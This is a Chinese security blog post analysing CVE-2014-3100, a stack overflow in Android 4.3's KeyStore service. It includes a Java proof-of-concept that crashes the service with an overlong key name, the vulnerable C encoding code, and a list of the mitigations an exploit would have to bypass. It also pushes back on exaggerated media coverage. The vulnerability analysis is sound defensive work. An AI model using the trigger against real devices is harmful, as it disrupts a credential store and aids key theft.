07月01, 2014

安卓KeyStore栈溢出漏洞分析(CVE-2014-3100)

作者:申迪

CVE-2014-3100是安卓平台KeyStore的一个栈溢出漏洞。该漏洞是去年9月IBM的Roee Hay & Avi Dayan发现并秘密报告给Google,并于6月23日被公开[1]。与此同时,Google官方也放出了漏洞测试代码。[2]

近日发现有一些国内媒体以《Android最新漏洞:影响86%用户财产安全》为标题对此漏洞进行了报道。但我们的观点是,该漏洞仅在4.3的系统中存在,而其危害也被媒体有所夸大。

Keystroe是安卓平台的密钥存储服务,4.3以前以Locol Socket的形式接收用户对于服务的访问。4.3以后则作为一个binder服务的形式存在。

keystore

图 1 keystore原理图,援引自IBM研究员的分析文章[1]

问题所在:

android.security.KeyStore类中的get方法允许传入一个名为keyName的String类型,客户端可以传入一个超长的字符串。

Class<?> keystoreClass = Class.forName("android.security.KeyStore");

        Method getInstance = keystoreClass.getMethod("getInstance");

        Method get = keystoreClass.getMethod("get", String.class);

        Object keystore = getInstance.invoke(null);

        String keyName = "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA "

                + "AAAA AAAA AAAA AAAA";

        get.invoke(keystore, keyName);

再看服务端的处理:

首先在栈上分配了一段缓冲区,大小是NAME_MAX

1068    ResponseCode getKeyForName(Blob* keyBlob, const android::String8& keyName, const uid_t uid,
1069        const BlobType type) {
1070        char filename[NAME_MAX];
1071        encode_key_for_uid(filename, uid, keyName);

然后调用encode_key对keyName进行转码

264static int encode_key_for_uid(char* out, uid_t uid, const android::String8& keyName) {
265    int n = snprintf(out, NAME_MAX, "%u_", uid);
266    out += n;
267
268    return n + encode_key(out, keyName);
269}

这里面认为keyName.lenth()是缓冲区的长度,并且将内容转码后复制到栈上的char name,如果keyName.lenth()超长,则栈溢出

248static int encode_key(char* out, const android::String8& keyName) {
249    const uint8_t* in = reinterpret_cast<const uint8_t*>(keyName.string());
250    size_t length = keyName.length();
251    for (int i = length; i > 0; --i, ++in, ++out) {
252        if (*in < '0' || *in > '~') {
253            *out = '+' + (*in >> 6);
254            *++out = '0' + (*in & 0x3F);
255            ++length;
256        } else {

利用及其危害:

理论上,攻击利用程序有机会在Keystore进程内部执行任意代码,并且获取一些应用的关键密钥,比如VPN。

但是想要达到这种目的,需要解决以下问题:

– 使用ROP绕过数据执行保护(DEP)

– 解决ASLR 动态地址随机化问题

– 绕过Stack Canaries栈返回前的安全检查

– 编码问题,输入的buffer数据会被encode_key编码,这意味着shellcode在最终执行前会有一部分字节被修改

当然,KeyStore程序在崩溃之后会重新启动,所以理论上给了攻击程序反复尝试以利用成功的可能性

结论:

本文简单介绍了CVE-2014-3100的原理,并强调该漏洞仅在4.3中存在且目前仅有理论上的利用可能性。同时呼吁国内某些媒体能够抱有一种严谨的态度来报道安全事件,不要用夸张的不实描述引起不必要的恐慌。

参考:

[1] Android KeyStore Stack Buffer Overflow: To Keep Things Simple, Buffers Are Always Larger Than Needed, Roee Hay & Avi Dayan

http://securityintelligence.com/android-keystore-stack-buffer-overflow-to-keep-things-simple-buffers-are-always-larger-than-needed/#.U7IqDz-Sxn9

[2]AOSP https://android.googlesource.com/platform/cts/+/android-4.4.4_r1/tests/tests/security/src/android/security/cts/KeystoreExploitTest.java

本文链接:http://blogs.360.cn/post/cve-2014-3100.html

-- EOF --

Comments